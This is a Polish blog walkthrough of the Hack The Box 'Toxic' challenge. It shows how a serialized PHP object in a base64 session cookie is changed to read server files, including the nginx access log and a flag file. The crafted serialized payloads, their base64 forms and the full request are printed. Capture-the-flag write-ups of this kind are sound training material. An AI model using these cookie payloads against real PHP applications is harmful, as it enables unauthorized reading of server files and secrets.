Czytanie plików za pośrednictwem ciasteczka. Toxic – Hack The Box

Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸

Po wejściu na wskazaną stronę dla fanatyków żab, dostaniemy niewiele informacji. Przy wejściu na stronę z użyciem Burpsuite, w histori żądań HTTP dostaniemy informację o tym, że strona ustawia nam jako ciasteczko PHPSESSID.

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 05 Aug 2021 20:03:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.4.15
Set-Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9; expires=Fri, 06-Aug-2021 20:03:31 GMT; Max-Age=86400; path=/
Content-Length: 7665

<html>

    <head>

        <!-- Meta -->
        <meta charset="utf-8">
        <meta http-equiv="x-ua-compatible" content="ie=edge">
        <meta name="viewport" content="width=device-width,initial-scale=1">

        <title>Dart Frog</title>
(...)

Po rozszyfrowaniu ciasteczka dostajemy:

O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

Wygląda to conajmniej dziwnie. Po krótkim rekonesansie, dochodzimy do wniosku, że w miejscu, w którym jest „/www/index.html”, podajemy ścieżkę do pliku, który chcemy wyrenderować.Tezę potwierdza fakt, że po przejściu na którąkolwiek podstronę aplikacji, zamiast redirectu lub informacji o błędzie, zostaje wyrenderowana strona index.html.

Po rekonesansie internetowym natrafiamy na artykuł o PHP Object Injection od OWASP. Podatność pozwala min. na SQL injection czy path travelsal poprzez nieprawidłową deserializację przekazywanych danych do funkcji unserialize().

Jeśli już wiemy z jaką podatnością mamy najpiewniej do czynienia, przyjrzyjmy się technologiom, które wykorzystuje strona. Użyjemy do tego narzędzia wad.

┌──(bugspace㉿kali)-[~/.local/bin]
└─$ python3 wad -u http://ip:port/
{
    "http://ip:port/": [
        {
            "app": "Nginx",
            "ver": null,
            "type": "Web Servers,Reverse Proxy"
        },
        {
            "app": "PHP",
            "ver": "7.4.15",
            "type": "Programming Languages"
        },
        {
            "app": "scrollreveal",
            "ver": null,
            "type": "JavaScript Libraries"
        },
        {
            "app": "Google Font API",
            "ver": null,
            "type": "Font Scripts"
        }
    ]
}

Zależy nam na tym, aby wyrenderować pliki w których może znajdować się flaga. Dobrym startem mogą być pliki konfiguracyjne i logi. Do jednych z nich należy plik access.log, w którym NGINX zapisuje informacje o żądaniach klientów. Spróbujmy zatem skonstruować payload w postaci ciasteczka.

O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}

Po zaszyfrowaniu payloadu do Base64, dostajemy:

Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==

Należy pamiętać o tym, aby zmienić także wartość „s”, która oznacza długość stringa. Nasze żądanie będzie wyglądało w sposób następujący:

GET / HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

W odpowiedzi dostajemy min.:

dev
entrypoint.sh
etc
flag_8MBJo
home
lib
media
mnt
opt
proc
root
run
sbin
127.0.0.1 - 200 "GET / HTTP/1.1" "-" "-" 
127.0.0.1 - 200 "GET /test HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" 
127.0.0.1 - 200 "GET /test HTTP/1.1" "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" 

Wśród plików i katalogów dostajemy plik flag_8MBJo. Analogicznie, spróbujmy stworzyć payload.

O:9:"PageModel":1:{s:4:"file";s:11:"/flag_8MBJo";}

Po przesłaniu właściwego żądania GET z zaszyfrowanym payloadem w postaci ciasteczka, dostajemy flagę.

Źródła

https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
https://github.com/CERN-CERT/WAD
http://nginx.org/en/docs/beginners_guide.html

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.